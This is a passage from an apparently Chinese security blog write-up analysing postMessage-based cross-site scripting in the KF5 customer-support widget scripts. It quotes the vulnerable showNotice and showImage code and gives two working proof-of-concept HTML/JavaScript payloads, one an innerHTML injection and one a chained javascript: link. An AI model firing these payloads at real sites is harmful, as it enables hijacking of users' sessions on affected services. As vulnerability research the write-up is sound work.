再对传递过来的message数据通过正则以第一个空格分为两组, n变量为空格之前的字符, o变量为空格之后的字符。
n变量是用来选择进入哪个分支的, 这里看一下CMD::kf5Notice分支, 在进入CMD::kf5Notice分支之后会继续执行

1
2
else if ("CMD::kf5Notice" === n) 
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON.parse(o));

这里对o变量从字符串解析到JSON之后, 作为参数传递到了showNotice方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
showNotice: function(t) {
var e = this
, i = window.document.createElement("div");
return t = "object" == typeof t ? t : {},
i.innerHTML = this.getOpt("noticeTemplate").replace("{{title}}", t.title || "提示信息").replace("{{content}}", t.content || "").replace("{{avatar}}", t.avatar || this.getOpt("defaultNoticeAvatar")).replace("{{submitText}}", t.submitText || "接受").replace("{{cancelText}}", t.cancelText || "拒绝"),
this.closeNotice(),
this.noticeElement = i,
1 === this.getOpt("version") ? document.body.appendChild(i) : this.el && this.el.appendChild(i),
bindEvent(document.getElementById("kf5-support-message-accept"), "click", function() {
e.open(),
e.hideButton(),
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON.stringify(t.data), "*"),
e.closeNotice()
}),
bindEvent(document.getElementById("kf5-support-message-reject"), "click", function() {
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeRejected " + JSON.stringify(t.data), "*"),
e.closeNotice()
}),
i
}

showNotice方法中, 使用传入进来的json对模板中的变量进行替换之后, 直接就进行innerHTML了, 可以直接xss。

1
2
3
4
5
6
7
8
9
<iframe id="demo" src="http://support.kf5.com" width="0" height="0"></iframe>

<script type="text/javascript">
window.onload = function(){
var popup = demo.contentWindow;
var msg = 'CMD::kf5Notice {"content": "<img/src=x onerror=alert(document.domain) />"}'
popup.postMessage(msg, "*");
}
</script>

-w1019

但是这里只是https://assets-cdn.kf5.com/supportbox_v2/main.js 的xss而已, 其他客户引入的js都是http://assets-cdn.kf5.com//supportbox//main.js 。 所以继续尝试看看能不能使用supportbox_v2的xss来触发supportbox的xss。
现在找到了support.kf5.com的xss, 可以通过postmessage的来源判断了。
再继续往下看supportbox/main.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
showNotice: function (t) {
function e() {
o.open(), o.hideButton(), o.iframe && o.iframe.contentWindow && o.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON.stringify(t.data), "*"), o.closeNotice()
}

var n, o = this;
return t = "object" == typeof t ? t : {}, n = renderTemplate(this.getOpt("noticeTemplate"), {
noticeTitle: t.title || "提示信息",
noticeContent: t.content || "",
noticeAvatar: t.avatar || this.getOpt("defaultNoticeAvatar"),
noticeAccept: t.submitText || "接受",
noticeReject: t.cancelText || "拒绝"
}

supportbox中的showNotice并没有像supportbox_v2一样直接replace变量后就innerHTML, 而是使用了renderTemplate。(修复2)

1
2
3
4
5
6
function renderTemplate(t, e, n) {
var o, i = document.createElement("div");
i.innerHTML = t;
for (var s in e) e.hasOwnProperty(s) && (o = i.getElementsByClassName ? i.getElementsByClassName("kf5-tpl-" + s) : getElementsByClassName(i, "kf5-tpl-" + s), (o = o.length ? o[0] : null) && (n && "function" == typeof n[s] ? n[s](o, e[s]) : "string" == typeof o.textContent ? o.textContent = e[s] : o.innerText = e[s]));
return i
}

而在renderTemplate当中, 使用的是innerText, 所以不能xss。
这里就只有选择其他的分支尝试xss, 但是看完了几个分支, 都没有合适的点可以xss, 只找到了一个地方能够点击xss(实在没啥用,并且我都不知道咋样才能点到这个a标签)。

1
2
3
4
5
6
7
else if ("CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement("#kf5-view-image"),
a = KF5SupportBox.instance.getElement("#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ? JSON.parse(o) : {}, a.style.display = "block", r.setAttribute("href", o.url), r.setAttribute("title", o.name || ""), s.setAttribute("src", o.url), s.setAttribute("alt", o.name || "")
}
}

在CMD::showImage分支下, 可以设置#kf5-view-image的alt/src属性。
可以设置#kf5-view-image标签的父节点的href/title属性。
-w478
kf5-view-image标签是img标签, 他的父节点是a标签。 所以可以通过父节点的href属性进行点击xss。
-w1381

1
2
3
4
5
6
7
8
9
10
11
12

<iframe id="demo" src="http://support.kf5.com" width="100%" height="100%"></iframe>

<script type="text/javascript">
window.onload = function(){
var content = `<iframe src=https://www.kf5.com/ id=demo2 onload='var popup2 = demo2.contentWindow;var msg2 =\\\"CMD::showImage {\\\\\\"url\\\\\\":\\\\\\"javascript:alert(document.domain)\\\\\\"}\\\";popup2.postMessage(msg2, \\\"*\\\"); '>`

var popup = demo.contentWindow;
var msg = `CMD::kf5Notice {"content": "${content}"}`
popup.postMessage(msg, "*");
}
</script>

References

https://5alt.me/